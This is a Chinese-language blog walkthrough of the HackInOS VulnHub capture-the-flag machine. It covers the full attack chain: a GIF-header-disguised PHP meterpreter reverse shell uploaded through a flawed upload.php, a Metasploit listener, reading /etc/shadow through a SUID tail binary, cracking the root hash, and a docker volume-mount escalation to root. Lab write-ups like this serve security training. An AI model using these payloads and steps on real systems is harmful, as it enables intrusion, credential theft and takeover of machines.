HackInOS 靶机 (Ubuntu/Linux)下载
https://www.vulnhub.com/entry/hackinos-1,295/
目标
得到root目录下的flag.
*如果要下载来玩建议不要看, 因为剧透了
1.打开你的Kali和HackInOS靶机.
2. 使用netdiscover把目标找出来.
3.然后使用nmap去扫描它, 当然我们发现它有运行Apache http就是拥有网页去瞧一瞧.
4.打开你的浏览器输入[Target IP]:[http Port], 这里我没有等他完全跑完就看到了是一个Wordpress网页.
5.使用我们专业的Wordpress Scan来扫描它.
#wpscan --url http://[Target IP]:[http Port]/ -e at -e ap -e u --wp-content-dir wp-content
那么这次扫描我们看到一个robots.txt点开看一看
6.那么我们看到有一个upload.php
打开来看一看[Target IP]:[http Port]/upload.php
7.看起来可以使用上传漏洞
8.看了一下网页码发现一个讲述这个upload.php的php码
https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php
9.我们可以看到upload的文件格式只支持png和gif格式.
9.根据我知道的方法我们可以使用gif的HEX(文件识别标志) + php的payload来进行渗透
HEX(文件识别标志)https://blog.mythsman.com/post/5d301940976abc05b345469f/
10.使用Meterspolit制作一个php来反弹shell
#msfvenom -p php/meterpreter/reverse_tcp lhost=[自己ip] lport=4444 -f raw
11.使用nano制作一个backdoor.php, 内容就是HEX(文件识别标志) + Meterspolit 生成的php Payload.
GIF89a
<?php /**/ error_reporting(0); $ip = '192.168.1.5'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
12.上传backdoor.php
13.没先到它直接告诉你, 你上传的文件被保存在了哪里不用使用burp suite查看. 因为它更改了我们upload的文件名所以我们制作一个python命名为hackinos.py来找到我们upload的文件并运行它
hackinos.py的内容大概是这样(需要修改你上传php文件的名字和Target IP)
import hashlib
import requests
for i in range(101):
file_name = hashlib.md5('backdoor.php'+str(i)).hexdigest()
r = requests.get('http://192.168.1.135:8000/uploads/{}.php'.format(file_name))
14.打开meterspolit监听
#msfconsole
> use exploit/multi/handler
> set payload php/meterpreter/reverse_tcp
> set lhost 192.168.1.5 (自己的IP地址)
> set lport 4444
> exploit
15.运行hackinos.py等一阵子
#python ./hackinos.py
16.Meterspolit成功得到Shell
17.因为是Ubuntu系统这次我使用别人介绍的Linuxprivchecker.py用来检查这个系统有什么漏洞
我下载了linuxprivchecker.py在Kali上, 并upload上去靶机的/tmp/inuxprivchecker.py(为什么是inuxprivchecker.py因为我命名错了但没关系能用就行)
https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py
18.要启动它需要sudo权限, 但我们可以修改它的赋予权限让inuxprivchecker.py文件拥有运行的权限.
大概是这样
meterpreter > chmod 775 /tmp/inuxprivchecker.py (赋予权限)
meterpreter > shell (交互shell)
python /tmp/inuxprivchecker.py (运行inuxprivchecker.py)
19. inuxprivchecker.py 会输出很多信息所以要花点时间慢慢消化. 主要查看有多少个用户, 可以使用的命令有什么(wget之类的),定时任务,等等...
然后我看到SUID下可以使用tail命令而且是root权限, 那还真是太开心了
*被标记的SUID表示不管那个用户运行它都是使用创建者的权限来运行该文件.
20.使用使用tail 看看shadow文件因为里面有没有密码可以破解.
还真有而且是root用户.
21.酱Hash保存下来使用Hashcat破解一下就完成.
你也可以使用其他的软件破解比如john the ripper, online hash decode 之类的, 我就使用Hashcat因为可以使用GPU破解速度超快.
字典我是使用metasploit自带的在位置
/usr/share/metasploit-framework/data/wordlists/common_roots.txt
(至于要怎样使用就直接研究研究吧很简单)
22.破解完后打开输出的txt看见明文是john
23.所以现在可以兴高采烈去root用户了. 但就在终点遇到一个问题su 必须是在terminal下才能使用.
24.上网查了一下, 看人家可以使用Python来换shell 参考
python -c "import pty;pty.spawn('/bin/bash');"
得到terminal运行su输入密码john完美.
24.当我想着结束的时侯, 居然告诉我生活包括细节居然没有 flag 那怎么可能 !!!!!!
25.我觉得是被隐藏了, 那么我就在该文件夹看看有没有被隐藏的文件,还真有那就一个一个看下哪里有线索.
26.那么其它全部都是空的只有这个文件里面有线索 port文件显示聆听你的朋友 7* (那么我就大概了解叫我监听所有7开头的Port ??????)
但是我监听几个端口一段时间都没有发现什么..... Port70,71,72,73,74,75,76,77,78,79
27.那么居然他有wordpress就看看数据库而且密码也是default的(google怎么登入wordpress数据库就有很多参考)
28.这里可能就需要基本的MySQL知识了Select, From, Where (我是有学过的告诉你 )
也是一个一个慢慢检查
29.第一个就有ssh的Hash了,使用Hash-identifier得知这是MD5
30.上网找一找, 没烦恼. 密码是123456
31.使用ssh登入 hummingbirdscyber看看
密码: 123456
然后查看一下这个用户属于哪个团体,发现它属于docker用户
那就说root的flag就隔离在这该死的用户下......
有兴趣可以去了解一下Docker和虚拟机相似又不是的一个多开系统软件
32.之前看用一篇文章可以把/root运用在docker上酱就可以得到root权限.
#docker run -it -v /root:/root ubuntu:latest /bin/bash
33. 终于得到这难得的flag.....
感谢阅读.
No comments:
Post a Comment